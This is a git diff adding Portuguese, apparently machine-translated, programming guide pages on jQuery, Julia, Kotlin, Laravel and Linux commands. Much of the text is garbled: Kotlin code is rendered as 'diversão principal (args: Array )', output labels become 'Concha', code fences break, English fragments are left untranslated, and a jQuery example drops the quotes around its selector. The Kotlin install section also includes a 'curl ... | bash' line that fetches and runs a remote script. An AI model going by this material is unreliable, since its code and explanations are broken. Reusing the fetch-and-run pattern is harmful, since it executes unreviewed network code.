+*   A duração pode ser fornecida em milissegundos ou usando os literais lentos (600 ms) e rápidos (200ms). por exemplo:
+
+```javascript
+$("#myobject").show("slow"); 
+```
+
+*   Uma função pode ser especificada para ser chamada assim que a animação estiver completa, uma vez por cada elemento correspondente. por exemplo
+
+```javascript
+$("#title").show( "slow", function() { 
+    $("p").show("fast"); 
+ }); 
+  ``` 
+ * More options exist, please refer to the official website for further details. 
+ 
+ ### .slideDown() method 
+ This method animates the height of the matched elements. This causes lower parts of the page to slide down, making way for the revealed items. 
+ Usage: 
+```
+
+javascript $ (". myclass"). slideDown (); // expandirá o elemento com o identificador myclass por 400 ms. $ (". myclass"). slideDown (1000); // expandirá o elemento com o identificador myclass por 1000 ms. $ (". myclass"). slideDown ("lento"); // expandirá o elemento com o identificador myclass por 600 ms. $ (". myclass"). slideDown ("rápido"); // expandirá o elemento com o identificador myclass por 200 ms. \`\` \`
+
+#### Mais Informações:
+
+JQuery Show () método no [site oficial](http://api.jquery.com/show/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-event-method/index.md b/client/src/guide/portuguese/jquery/jquery-event-method/index.md
new file mode 100644
index 0000000000..08f6afb001
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-event-method/index.md
@@ -0,0 +1,11 @@
+---
+title: jquery Event Method
+localeTitle: jQuery Event Method
+---
+## jQuery Event Method
+
+Esses métodos são usados ​​para registrar comportamentos para entrar em vigor quando o usuário interage com o navegador e para manipular ainda mais esses comportamentos registrados.
+
+#### Mais Informações:
+
+https://api.jquery.com/category/events/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-hover-method/index.md b/client/src/guide/portuguese/jquery/jquery-hover-method/index.md
new file mode 100644
index 0000000000..407286bdb0
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-hover-method/index.md
@@ -0,0 +1,16 @@
+---
+title: jQuery Hover Method
+localeTitle: jQuery Hover Method
+---
+# jQuery Hover Method
+
+O método jquery pairar é uma combinação do `mouseenter` e `mouseleave` eventos. A sintaxe é esta:
+```
+$(selector).hover(inFunction, outFunction); 
+```
+
+A primeira função, inFunction, será executada quando o evento `mouseenter` ocorrer. A segunda função é opcional, mas será executada quando o evento `mouseleave` ocorrer. Se apenas uma função é especificada, a outra função será executado tanto para o `mouseenter` e `mouseleave` eventos.
+
+### Mais Informações
+
+Mais informações podem ser encontradas [aqui](https://www.w3schools.com/jquery/event_hover.asp) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-html-method/index.md b/client/src/guide/portuguese/jquery/jquery-html-method/index.md
new file mode 100644
index 0000000000..c2fcfccfd0
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-html-method/index.md
@@ -0,0 +1,40 @@
+---
+title: HTML Method
+localeTitle: Método HTML
+---
# Método HTML
+
+O método jquery `.html()` obtém o conteúdo de um elemento HTML ou define o conteúdo de um elemento HTML.
+
+## Obtendo
+
+Para retornar o conteúdo de um elemento HTML, use esta sintaxe:
+
+```javascript
+$('selector').html(); 
+```
+
+Por exemplo:
+
+```javascript
+$('#example').html(); 
+```
+
+## Configuração
+
+Para definir o conteúdo de um elemento HTML, use esta sintaxe:
+
+```javascript
+$('selector').html(content); 
+```
+
+Por exemplo:
+
+```javascript
+$('p').html('Hello World!'); 
+```
+
+Isso irá definir o conteúdo de todos os elementos `<p>` para o Hello World!
+
+### Mais Informações
+
+[W3Schools](https://www.w3schools.com/jquery/html_html.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-mousedown-method/index.md b/client/src/guide/portuguese/jquery/jquery-mousedown-method/index.md
new file mode 100644
index 0000000000..f701f09ae1
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-mousedown-method/index.md
@@ -0,0 +1,19 @@
+---
+title: Mousedown Method
+localeTitle: Método Mousedown
+---
# Método Mousedown
+
+O evento mousedown ocorre quando o botão esquerdo do mouse é pressionado. Para acionar o evento mousedown para o elemento selecionado, use esta sintaxe: `$(selector).mousedown();`
+
+Na maioria das vezes, no entanto, o método mousedown é usado com uma função anexada ao evento mousedown. Aqui está a sintaxe: `$(selector).mousedown(function);` Por exemplo:
+```
+$(#example).mousedown(function(){ 
+   alert("Example was clicked"); 
+ }); 
+```
+
+Esse código fará com que o alerta da página "Exemplo foi clicado" quando #exemple for clicado.
+
+### Mais Informações
+
+Mais informações podem ser encontradas [aqui](https://www.w3schools.com/jquery/event_mousedown.asp) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/jquery/jquery-selectors/index.md b/client/src/guide/portuguese/jquery/jquery-selectors/index.md
new file mode 100644
index 0000000000..30c8ed09fd
--- /dev/null
+++ b/client/src/guide/portuguese/jquery/jquery-selectors/index.md
@@ -0,0 +1,136 @@
+---
+title: jQuery Selectors
+localeTitle: Seletores de jQuery
+---
+## Seletores de jQuery
+
+O jQuery usa seletores de estilo CSS para selecionar partes ou elementos de uma página HTML. Em seguida, ele permite que você faça algo com os elementos usando métodos jQuery ou funções.
+
+Para usar um desses seletores, digite um sinal de dólar e parênteses depois dele: `$()` . Isso é um atalho para a função `jQuery()` . Dentro dos parênteses, adicione o elemento que você deseja selecionar. Você pode usar aspas simples ou duplas. Depois disso, adicione um ponto após os parênteses e o método que você deseja usar.
+
+No jQuery, os seletores de classe e ID são como aqueles em CSS.
+
+Aqui está um exemplo de um método jQuery que seleciona todos os elementos de parágrafo e adiciona uma classe de "selecionados" a eles:
+
+```javascript
+<p>This is a paragraph selected by a jQuery method.</p> 
+ <p>This is also a paragraph selected by a jQuery method.</p> 
+ 
+ $("p").addClass("selected"); 
+```
+
+No jQuery, os seletores de classe e ID são os mesmos que no CSS. Se você quiser selecionar elementos com uma determinada classe, use um ponto ( `.` ) E o nome da classe. Se você quiser selecionar elementos com um determinado ID, use o símbolo de hash ( `#` ) e o nome do ID. Observe que o HTML não faz distinção entre maiúsculas e minúsculas, portanto, é uma prática recomendada manter a marcação HTML e os seletores CSS em letras minúsculas.
+
+Selecionando por classe:
+
+```javascript
+<p class="p-with-class">Paragraph with a class.</p> 
+ 
+ $(".p-with-class").css("color", "blue"); // colors the text blue 
+```
+
+Selecionando por ID:
+
+```javascript
+<li id="li-with-id">List item with an ID.</li> 
+ 
+ $("#li-with-id").replaceWith("<p>Socks</p>"); 
+```
+
+Você também pode selecionar determinados elementos junto com suas classes e IDs:
+
+### Selecionando por classe
+
+Se você quiser selecionar elementos com uma determinada classe, use um ponto (.) E o nome da classe.
+
+```html
+
+<p class="pWithClass">Paragraph with a class.</p> 
+```
+
+```javascript
+$(".pWithClass").css("color", "blue"); // colors the text blue 
+```
+
+Você também pode usar o seletor de classe em combinação com um nome de tag para ser mais específico.
+
+```html
+
+<ul class="wishList">My Wish List</ul>`<br> 
+```
+
+```javascript
+$("ul.wishList").append("<li>New blender</li>"); 
+```
+
+### Selecionando por ID
+
+Se você quiser selecionar elementos com um determinado valor de ID, use o símbolo de hash (#) e o nome da ID.
+
+```html
+
+<li id="liWithID">List item with an ID.</li> 
+```
+
+```javascript
+$("#liWithID").replaceWith("<p>Socks</p>"); 
+```
+
+Como no seletor de classe, isso também pode ser usado em combinação com um nome de tag.
+
+```html
+
+<h1 id="headline">News Headline</h1> 
+```
+
+```javascript
+$("h1#headline").css("font-size", "2em"); 
+```
+
+### Seletores que atuam como filtros
+
+Existem também seletores que atuam como filtros - eles geralmente começam com dois-pontos. Por exemplo, o `:first` seletor seleciona o elemento que é o primeiro filho de seu pai. Aqui está um exemplo de uma lista não ordenada com alguns itens da lista. O seletor de jQuery abaixo da lista seleciona o primeiro elemento `<li>` na lista - o item de lista "Um" - e, em seguida, usa o método `.css` para transformar o texto em verde.
+
+```html
+
+   <ul> 
+      <li>One</li> 
+      <li>Two</li> 
+      <li>Three</li> 
+   </ul> 
+```
+
+```javascript
+$("li:first").css("color", "green"); 
+```
+
+**Nota:** Não se esqueça que aplicar css em JavaScript não é uma boa prática. Você deve sempre dar seus estilos em arquivos css.
+
+Outro seletor de filtragem `:contains(text)` , seleciona elementos que possuem um determinado texto. Coloque o texto que você deseja combinar entre parênteses. Aqui está um exemplo com dois parágrafos. O seletor do jQuery pega a palavra "Moto" e muda sua cor para amarelo.
+
+```html
+
+    <p>Hello</p> 
+    <p>World</p> 
+```
+
+```javascript
+$("p:contains('World')").css("color", "yellow"); 
+```
+
+Da mesma forma, o `:last` selector seleciona o elemento que é o último filho de seu pai. O seletor de JQuery abaixo seleciona o último elemento `<li>` na lista - o item de lista "Três" - e, em seguida, usa o método `.css` para transformar o texto em amarelo.
+
+`$("li:last").css("color", "yellow");`
+
+**Nota:** No seletor jQuery, `World` está entre aspas simples, porque já está dentro de um par de aspas duplas. Sempre use aspas simples entre aspas duplas para evitar o encerramento não intencional de uma string.
+
+**Seletores Múltiplos** No jQuery, você pode usar vários seletores para aplicar as mesmas alterações a mais de um elemento, usando uma única linha de código. Você faz isso separando os diferentes ids com uma vírgula. Por exemplo, se você deseja definir a cor do plano de fundo de três elementos com ids cat, dog e rat, respectivamente, para vermelho, simplesmente faça:
+```
+$("#cat,#dog,#rat").css("background-color","red"); 
+```
+
+Estes são apenas alguns dos seletores disponíveis para uso no jQuery. Veja a seção Mais Informações para um link para a lista completa no site da jQuery.
+
+#### Mais Informações:
+
+*   [Lista completa de seletores de jQuery](http://api.jquery.com/category/selectors/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/julia/index.md b/client/src/guide/portuguese/julia/index.md
new file mode 100644
index 0000000000..c11c054ef2
--- /dev/null
+++ b/client/src/guide/portuguese/julia/index.md
@@ -0,0 +1,7 @@
+---
+title: Julia
+localeTitle: Julia
+---
+## O que é Julia?
+
+[Julia](https://julialang.org) é uma linguagem de programação de alto desempenho, opcionalmente voltada para computação científica e numérica. Possui bibliotecas para álgebra linear, otimização numérica, processamento de sinais e aprendizado de máquina, entre outros. Ele usa vários dispatch e possui um backend do LLVM e um compilador JIT. Julia é selecionada para ser usada no desenvolvimento do [sistema de prevenção de colisão aerotransportada de última geração, responsável](https://juliacomputing.com/case-studies/lincoln-labs.html) pela segurança [.](https://juliacomputing.com/case-studies/lincoln-labs.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/kotlin/hello-world/index.md b/client/src/guide/portuguese/kotlin/hello-world/index.md
new file mode 100644
index 0000000000..3c106f52c2
--- /dev/null
+++ b/client/src/guide/portuguese/kotlin/hello-world/index.md
@@ -0,0 +1,59 @@
+---
+title: Hello World in Kotlin
+localeTitle: Olá Mundo em Kotlin
+---
+Um programa Hello World é um programa muito simples que gera a string "Hello World!". É frequentemente usado para mostrar a sintaxe básica de uma linguagem de programação.
+
+Neste tutorial, vamos analisar a sintaxe de um programa Hello World escrito em Kotlin.
+
+Se você ainda não instalou o Kotlin, você deve verificar este tutorial: https://guide.freecodecamp.org/kotlin
+
+## Programa Hello World
+
+```kotlin
+// This is a simple Hello World program written in Kotlin 
+ 
+ fun main(args : Array<String>) { 
+    println("Hello, World!") 
+ } 
+```
+
+Como você deve esperar, quando você executa este programa, a saída deve ser "Hello, World!".
+
+## Sintaxe
+
+### Comentários
+```
+// This is a simple Hello World program written in Kotlin 
+```
+
+Comentários são textos escritos por um desenvolvedor que são adicionados com o propósito de tornar o código mais fácil de entender por outros desenvolvedores. No Kotlin, os comentários podem ser comentários de linha única (usando //) ou comentários de várias linhas (usando / \*\* /).
+```
+// Single line comment 
+ 
+ /* This is a 
+ Multi-line comment 
+ */ 
+```
+
+### Função principal
+
+```kotlin
+fun main(args : Array<String>) {...} 
+```
+
+A função principal é uma função obrigatória que informa ao compilador onde deve começar a executar nosso código. Ele pega uma matriz de strings como parâmetro e retorna o tipo Unit que corresponde ao tipo `void` em linguagens como Java. Como podemos ver, as funções são declaradas com o uso da palavra-chave `fun` e seu corpo deve ser escrito dentro de chaves.
+
+Funções sem um tipo de retorno explicitamente declarado retornarão o tipo `Unit` , portanto, o código acima é equivalente a
+
+```kotlin
+fun main(args : Array<String>): Unit {...} 
+```
+
+### Declaração de impressão
+
+A função println pega uma string como argumento e a imprime na tela. Neste caso, estamos imprimindo a string "Hello, World!". Observe que os literais de string são declarados usando aspas duplas `"String"` .
+
+Se você gostaria de saber mais sobre a Sintaxe Kotlin e começar a escrever programas incríveis, você deve checar a incrível Documentação Oficial do Kotlin: https://kotlinlang.org/docs/reference/
+
+Espero que você tenha gostado deste tutorial Felicidades
\ No newline at end of file
diff --git a/client/src/guide/portuguese/kotlin/index.md b/client/src/guide/portuguese/kotlin/index.md
new file mode 100644
index 0000000000..b060afd956
--- /dev/null
+++ b/client/src/guide/portuguese/kotlin/index.md
@@ -0,0 +1,164 @@
+---
+title: Kotlin
+localeTitle: Kotlin
+---
+**O que é o Kotlin?**
+
+[Kotlin](https://kotlinlang.org/) é uma linguagem de programação desenvolvida pela [Jetbrains](https://www.jetbrains.com) , a empresa por trás de alguns IDEs mais populares do mundo, como IntelliJ e Pycharm.
+
+Ele serve como um substituto para Java e é executado na JVM. Está em desenvolvimento há quase 6 anos e atingiu 1.0 há apenas um ano.
+
+A comunidade de desenvolvedores adotou o Kotlin de tal forma que o Google anunciou o suporte de primeira classe para o idioma do Android Development no [Google I / O 2017](https://blog.jetbrains.com/kotlin/2017/05/kotlin-on-android-now-official/) .
+
+## Versão
+
+Como desta escrita, a última versão estável do Kotlin passa a ser a [versão 1.2.71](https://blog.jetbrains.com/kotlin/2018/09/kotlin-1-2-70-is-out/)
+
+## Instalação
+
+Antes de prosseguir com as instruções de instalação do Kotlin, é necessário certificar-se de que você configurou o **JDK (Java Development Kit)** configurado em seu sistema.
+
+Se você não tiver o JDK instalado em seu computador, vá para a **seção Instalação** [neste link para saber](https://guide.freecodecamp.org/java) como configurá-lo.
+
+O Kotlin funciona com o **JDK 1.6+,** portanto, certifique-se de instalar a versão correta. Quando terminar de configurar o JDK, continue com as etapas a seguir.
+
+*   \## IntelliJ IDEA A maneira mais rápida de usar o Kotlin em suas máquinas é usá-lo junto com o **IntelliJ IDEA** . Este é o IDE recomendado para o Kotlin por causa do suporte de ferramentas fornecido pela Jetbrains. Você pode pegar o [Community Edition](http://www.jetbrains.com/idea/download/index.html) do IntelliJ da [JetBrains](https://www.jetbrains.com) .
+
+Uma vez que você tenha instalado o IntelliJ, você pode basicamente iniciar seu primeiro projeto no Kotlin sem nenhuma configuração adicional.
+
+Crie um **novo projeto** e certifique-se de selecionar o módulo Java. Selecione a caixa de seleção Kotlin nessa tela
+
+![nova tela de projeto](https://kotlinlang.org/assets/images/tutorials/getting-started/new_project_step1.png)
+
+Dê um nome ao seu projeto e clique em Concluir.
+
+![Nome do Projeto](https://kotlinlang.org/assets/images/tutorials/getting-started/project_name.png)
+
+Agora você será levado ao editor principal, onde verá seus arquivos de projeto organizados da seguinte maneira.
+
+![estrutura do projeto](https://kotlinlang.org/assets/images/tutorials/getting-started/folders.png)
+
+Para verificar sua instalação, crie um novo arquivo Kotlin na pasta **src** e nomeie-o como **aplicativo** (ou qualquer outra coisa que lhe agrade)
+
+![estrutura do projeto](https://kotlinlang.org/assets/images/tutorials/getting-started/new_file.png)
+
+Depois de criar o arquivo, digite o seguinte código Hello World Cremonial. Não se preocupe se não fizer sentido imediatamente, será tratado em detalhes mais adiante no guia.
+
+\`\` \` diversão principal (args: Array ) { println ("Hello World!") }
+```
+![project structure ](https://kotlinlang.org/assets/images/tutorials/getting-started/hello_world.png) 
+ 
+ You can now run this program by either clicking on the Kotlin icon on the gutter (left side of your editor with line numbers) 
+ 
+ ![hello world ](https://kotlinlang.org/assets/images/tutorials/getting-started/run_default.png) 
+ 
+ If everything goes fine, you should see the message Hello World! in your Run window as shown below 
+ 
+ ![run window ](https://kotlinlang.org/assets/images/tutorials/getting-started/run_window.png) 
+ 
+ 
+ 
+ * ## Eclipse 
+ 
+ While IntelliJ is the recommended IDE for developing with Kotlin, it is definitely not the only option out there. **Eclipse** happens to be another popular IDE of choice among Java developers and Kotlin is supported by Eclipse as well. 
+ 
+ After setting up the **JDK** on your system, follow the instructions below. 
+ 
+ Download <a href='https://www.eclipse.org/downloads/'>**Eclipse Neon** </a>for your operating system and once you have successfully installed it on your system, download the **Kotlin Plugin** for Eclipse from the <a href='http://marketplace.eclipse.org/content/kotlin-plugin-eclipse'>**Eclipse Marketplace**</a>. 
+ 
+ ![eclipse marketplace ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/marketplace.png) 
+ 
+ ***NOTE: You can also do the same by going into Help -> Eclipse Marketplace and then search for Kotlin Plugin*** 
+ 
+ Once, the plugin is installed you are pretty much done but it would be a good idea to take the IDE for a spin with a quick Hello World sample. 
+ 
+ Create a new Kotlin Project by clicking on File -> New -> Kotlin Project 
+ 
+ ![new kotlin project ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/new-project.png) 
+ 
+ An empty project will be created with a directory structure quite similar to a Java project. It would look something like this 
+ 
+ ![empty kotlin project ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/empty-project.png) 
+ 
+ Go ahead and create a new Kotlin file in the **src** folder 
+ 
+ Once that is done go ahead and type out the following code. Don't worry if it does not make sense right now, it will be covered later in the guide. 
+```
+
+diversão principal (args: Array ) { println ("Hello World!") }
+```
+![eclipse hello world ](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/hello-world.png) 
+ 
+ Now that you are done typing out the Hello World code, go ahead and run it. To run the file, right click anywhere inside the editor and click on ***Run As -> Kotlin Application*** 
+ 
+ 
+ ![eclipse run app](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/run-as.png) 
+ 
+ If all goes well, the console window would open to show you the output. 
+ 
+ ![eclipse run app](https://kotlinlang.org/assets/images/tutorials/getting-started-eclipse/output.png) 
+ 
+ * ## Using the standalone compiler on the terminal 
+ If you are someone who prefers doing things in a more manual way and do not want to tie yourself down to an editor/IDE you might wanna use the Kotlin compiler. 
+ 
+ ### Downloading the compiler 
+ 
+ With every release of Kotlin, Jetbrains ship a standalone compiler which can be downloaded from the <a href='https://github.com/JetBrains/kotlin/releases/tag/v1.1.51'>GitHub releases</a>. Version 1.1.51 happens to be the latest at the time of this writing. 
+ 
+ 
+ </br> 
+ 
+ **Manual Installation** 
+ 
+ Once you have downloaded the compiler you need to unzip it and proceed with the standard installation using the installation wizard. Adding the **bin** directory to the system path is an optional step. It contains the scripts that are necessary to compile and run Kotlin on Windows, Linux and macOS. 
+ 
+ </br> 
+ 
+ **Installation via Homebrew** 
+ 
+ You can install the compiler on macOS using <a href='http://brew.sh/'>Homebrew </a>which is a package manager for macOS. Launch the Terminal app and issue the following commands 
+```
+
+$ brew update $ brew install kotlin
+```
+**Installation via SDKMAN!** 
+ 
+ Another simple way of installing the Kotlin compiler on macOS, Linux, Cygwin, FreeBSD and Solaris is by using <a href='http://sdkman.io/'>SDKMAN!</a>. Launch the terminal and issue the following commands 
+```
+
+$ curl -s https://get.sdkman.io | bash\`\`\`
+
+Siga as instruções na tela e uma vez SDKMAN! é questão de configuração o comando follwoing dentro do terminal
+
+`$ sdk install kotlin`
+
+Como com todas as opções de instalação anteriores, seria uma boa ideia testar a instalação.
+
+Abra um editor de texto de sua escolha e escreva um programa Kotlin básico abaixo
+```
+fun main(args: Array<String>) { 
+    println("Hello, World!") 
+ } 
+```
+
+Salve este arquivo com uma extensão **.kt** . Agora você está pronto para compilá-lo e ver os resultados. Para fazer isso, emita o seguinte comando
+
+`$ kotlinc hello.kt -include-runtime -d hello.jar`
+
+a opção `-d` informa ao compilador o que você deseja que a saída seja chamada. A opção `-include-runtime` torna o arquivo .jar independente e executável incluindo a biblioteca de tempo de execução do Kotlin.
+
+Se não houver erros de compilação, execute o aplicativo usando o seguinte comando
+
+`$ java -jar hello.jar`
+
+Se tudo correr bem, você deve ver o **Hello World!** impresso na tela do seu terminal
+```
+$ java -jar hello.jar 
+ Hello, World! 
+```
+
+Parabéns, você configurou com sucesso o ambiente de desenvolvimento e o compilador Kotlin em seu sistema. Vamos abordar todas as complexidades e partes divertidas de Kotlin neste guia, mas você pode conseguir um avanço se quiser indo ao site da [Try Kotlin](https://try.kotlinlang.org/) e passando pelos exercícios lá.
+
+## Documentação
+
+Uma das melhores coisas sobre o Kotlin é sua documentação abrangente e bem estruturada. Mesmo se você é novo em programação, você vai encontrar-se em casa com os documentos. Eles fazem um trabalho incrível em colocar tudo de uma maneira bem estruturada. Você pode conferir a documentação oficial [neste link](https://kotlinlang.org/docs/reference/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/kotlin/strings/index.md b/client/src/guide/portuguese/kotlin/strings/index.md
new file mode 100644
index 0000000000..4608070e22
--- /dev/null
+++ b/client/src/guide/portuguese/kotlin/strings/index.md
@@ -0,0 +1,246 @@
+---
+title: Strings
+localeTitle: Cordas
+---
+# Cordas
+
+Uma string é um tipo de dados básico em uma linguagem de programação. Strings são representadas pelo tipo `String` . Cordas são imutáveis. Kotlin tem uma API rica para trabalhar com strings.
+
+### Uso Básico
+
+#### Declaração
+
+```kotlin
+// Explicit type declaration 
+ var firstName : String = "Elon" 
+ 
+ // or Implicit type declaration and will still compile 
+ val lastName = "Musk" 
+```
+
+Além disso, observe o uso do tipo de variável `val` , aqui está como ele se comporta
+
+```kotlin
+firstName = "Mark" // can be changed 
+ lastName = "Zuckerberg" // cannot be changed 
+ lastName = 12 // Error: type mismatch 
+```
+
+#### Concatenação de Cordas
+
+Mostrado no trecho de código, assim como o Java, anexando `Int` a `String` resultará em uma saída de `String`
+
+```kotlin
+var str = "abc" + 1 
+ println(str + "def") 
+```
+
+Saída:
+
+```shell
+abc1def 
+```
+
+Mesmo sem converter explicitamente o valor `Int` 1 para o objeto `String` primeiro, a saída resultante ainda é uma `String` .
+
+#### String com várias linhas
+
+Programadores podem declarar variáveis `String` com várias linhas usando aspas triplas em vez de aspas duplas
+
+```kotlin
+var str = """ 
+        This is line 1 
+        This is line 2 
+        This is line 3 
+        """ 
+ println(str) 
+```
+
+Saída:
+
+```shell
+        This is line 1 
+        This is line 2 
+        This is line 3 
+```
+
+ou com `.trimIndent()`
+
+O uso de `trimIndent()` também ajudará a fornecer um formato de saída limpo removendo os excessos e desnecessários recuos em cada linha. Examine o snippet de código abaixo:
+
+```kotlin
+var str = """ 
+        This is line 1 
+        This is line 2 
+        This is line 3 
+        """.trimIndent() 
+ println(str) 
+```
+
+Saída:
+
+```shell
+This is line 1 
+ This is line 2 
+ This is line 3 
+```
+
+### Acessando caracteres de uma string
+
+#### Acesso Indexado
+
+Os programadores podem acessar elementos (caracteres) de uma string usando o operador de acesso ao índice:
+
+```kotlin
+var str = "Example" 
+ println(str[2]) 
+```
+
+Saída:
+
+```shell
+a 
+```
+
+É como acessar um elemento de uma matriz, você obtém:
+
+```kotlin
+var str = "Example" 
+ println(str[9]) // Error: index out of bounds 
+```
+
+#### Iterar através de uma string
+
+Elementos de uma string são caracteres que podem ser acessados ​​pela operação de indexação: `s[i]` .
+
+```kotlin
+var str = "Example" 
+ for (c in str) { 
+    println(c) 
+ } 
+```
+
+Saída:
+
+```shell
+E 
+ x 
+ a 
+ m 
+ p 
+ l 
+ e 
+```
+
+### Imutabilidade de uma corda
+
+Assim como o Java, você não pode alterar elementos individuais de uma `String`
+
+```kotlin
+var str = "Example" 
+ str[2] = "b" // Error 
+```
+
+#### Reatribuindo valores de string
+
+```kotlin
+var str = "Example" 
+ println(str) 
+ str = "Example was changed" 
+ println(str) 
+```
+
+Saída:
+
+```shell
+Example 
+ Example was changed 
+```
+
+### Propriedades da Cadeia
+
+#### Determinando o comprimento de uma string
+
+```kotlin
+var str = "Example" 
+ println(str.length) 
+```
+
+Saída:
+
+```shell
+7 
+```
+
+### Funções de String
+
+Estas são algumas das funções comuns do `String` disponíveis na versão atual do Kotlin
+
+### comparado a
+
+Compara este objeto com o objeto especificado para pedido. Retorna zero se esse objeto for igual ao outro objeto especificado, um número negativo se for menor que outro ou um número positivo se for maior que outro.
+
+```kotlin
+var str = "Example" 
+ var str2 = "Example123" 
+ var str3 = "Example12345" 
+ println(str.compareTo(str2)) 
+ println(str.compareTo(str3)) 
+ println(str3.compareTo(str)) 
+ println(str.compareTo("Example")) 
+```
+
+Saída:
+
+```shell
+-3 
+ -5 
+ 5 
+ 0 # Equal 
+```
+
+### é igual a
+
+Indica se um objeto `String` é exatamente igual a outro objeto `String`
+
+```kotlin
+var str = "Example" 
+ var str2 = "Example2" 
+ println(str.equals("Example")) 
+ println(str2.equals("Example")) 
+```
+
+Saída:
+
+```shell
+true 
+ false 
+```
+
+### obter
+
+Retorna o caractere no índice especificado nessa sequência de caracteres.
+
+\`\` \`kotlin var str = "Example" println (str.get (3))
+```
+Output: 
+```
+
+Concha m
+```
+### toString 
+ 
+ Returns a string representation of the object. 
+```
+
+kotlin println (9.toString () + 10) println (9 + 10)
+```
+Output: 
+```
+
+Concha "910" 19 \`\` \`
+
+#### Recursos
+
+*   [Tipos Básicos Kotlin](https://kotlinlang.org/docs/reference/basic-types.html)
+*   [Referência da corda de Kotlin](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-string/index.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/laravel/index.md b/client/src/guide/portuguese/laravel/index.md
new file mode 100644
index 0000000000..a8ee630f7c
--- /dev/null
+++ b/client/src/guide/portuguese/laravel/index.md
@@ -0,0 +1,9 @@
+---
+title: Laravel
+localeTitle: Laravel
+---
+# Laravel
+
+O Laravel é um framework web PHP livre e de código aberto disponível no [GitHub](https://github.com/laravel/laravel) e licenciado sob os termos da Licença MIT. Foi criado por Taylor Otwell, que o projetou com o objetivo de permitir o desenvolvimento de aplicações web seguindo o padrão arquitetural model-view – controller (MVC) e agora é a estrutura PHP mais estrelada no GitHub. Alguns dos principais recursos encontrados no Laravel são maneiras diferentes de acessar bancos de dados relacionais, utilitários que auxiliam na implantação e manutenção de aplicativos e, por último, mas não menos importante, sistema de empacotamento modular com um gerenciador de dependências dedicado.
+
+Como o Laravel é de código aberto, a comunidade em torno dele é muito forte, assim como a documentação onde você pode aprender como fazer quase tudo, tente dar uma olhada na [Documentação](https://laravel.com/docs/5.7/) do [Laravel](https://laravel.com/docs/5.7/) para obter um vislumbre do poder do código aberto!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/10-simple-and-useful-linux-commands/index.md b/client/src/guide/portuguese/linux/10-simple-and-useful-linux-commands/index.md
new file mode 100644
index 0000000000..87b1895dfe
--- /dev/null
+++ b/client/src/guide/portuguese/linux/10-simple-and-useful-linux-commands/index.md
@@ -0,0 +1,48 @@
+---
+title: 10 Simple and Useful Linux Commands
+localeTitle: 10 Comandos Linux Simples e Úteis
+---
+# 10 Comandos Linux Simples e Úteis
+
+Os comandos listados aqui são básicos e ajudarão você a começar rapidamente. Mas eles também são poderosos e continuarão a ser úteis à medida que sua experiência em Linux se expandir.
+
+1.  `echo` Isso pega o texto que você dá e o envia para algum lugar - para voltar para a tela, para um arquivo ou para outro comando. Exemplo: `echo "hello!"`
+2.  `cat` Para exibir o conteúdo de um arquivo de texto, basta digitar `cat myfile` .
+3.  `find` Ele faz o que diz, e é bom nisso. Use-o para localizar arquivos por caminho, tamanho, data, proprietário e vários outros filtros úteis. Exemplo: `find . -type f -mtime -1h # List files in this directory modified in the past hour` .
+4.  `date` Basta digitar a data quando quiser saber que horas são. Exemplo: `date "+It's %l:%m%p on %A"` . Use-o em um script para nomear arquivos de acordo com a data atual.
+5.  `ls` O que há neste diretório? Combine `ls` com alguns sinalizadores úteis para exibir e classificar o conteúdo do diretório por data e tamanho. Também oferece muitas opções para formatar a saída.
+6.  `pwd` Onde eu estou? O Linux pode ser implacável, principalmente quando você exclui algo. Certifique-se de saber antes de emitir seus comandos.
+7.  `mail` O programa de correio do Linux não é bonito, mas pode ser muito útil. Você pode criar uma mensagem e adicionar texto, destinatários e anexos em um único comando. Exemplo: `echo "We're having a great time." | mail -s "Wish you were here!" -A postcard.png -t mom@example.com`
+8.  `cut` Quando você tiver uma string com separadores, use `cut` para filtrar determinados campos. Exemplo: `echo "this, that, and the other" | cut -d, -f2 # "that"`
+9.  `grep` Para encontrar linhas de texto que contenham uma certa string, use grep. Exemplo: `grep 'root' /etc/passwd # root:x:0:0:root:/root:/bin/bash`
+10.  `sed` Use sed para localizar e alterar uma substring em um trecho de texto. Exemplo: `echo "this, that, and the other" | sed 's/that/those/' # "this, those, and the other"`
+11.  `shutdown` usar desligar o sistema e desligue a energia. Exemplo: `shutdown -h now` desliga o sistema imediatamente. `shutdown -h +5` desliga o sistema após cinco minutos.
+
+Use esses comandos em scripts e na linha de comando. Eles são todos comandos muito poderosos, e a man page do Linux tem muito mais informações sobre cada um deles.
+
+* * *
+
+Além disso, os comandos importantes usados ​​pelos administradores do sistema são os seguintes:
+
+1.  Comando `uptime` No comando uptime do Linux mostra desde há quanto tempo o seu sistema está rodando e o número de usuários está logado atualmente e também exibe a média de carga para intervalos de 1,5 e 15 minutos.
+    
+2.  Comando `w` Ele exibe os usuários atualmente conectados e seu processo junto com as médias de carga. também mostra o nome de login, tty name, host remoto, tempo de login, tempo ocioso, JCPU, PCPU, comando e processos.
+    
+3.  Comando `users` O comando Usuários exibe usuários atualmente conectados. Este comando não possui outros parâmetros além de ajuda e versão.
+    
+4.  `who` comanda Quem comandar simplesmente retorna o nome do usuário, data, hora e informações do host. Quem comando é semelhante ao comando w. Ao contrário do comando w, que não imprime o que os usuários estão fazendo. Vamos ilustrar e ver a diferença entre quem e os comandos w.
+    
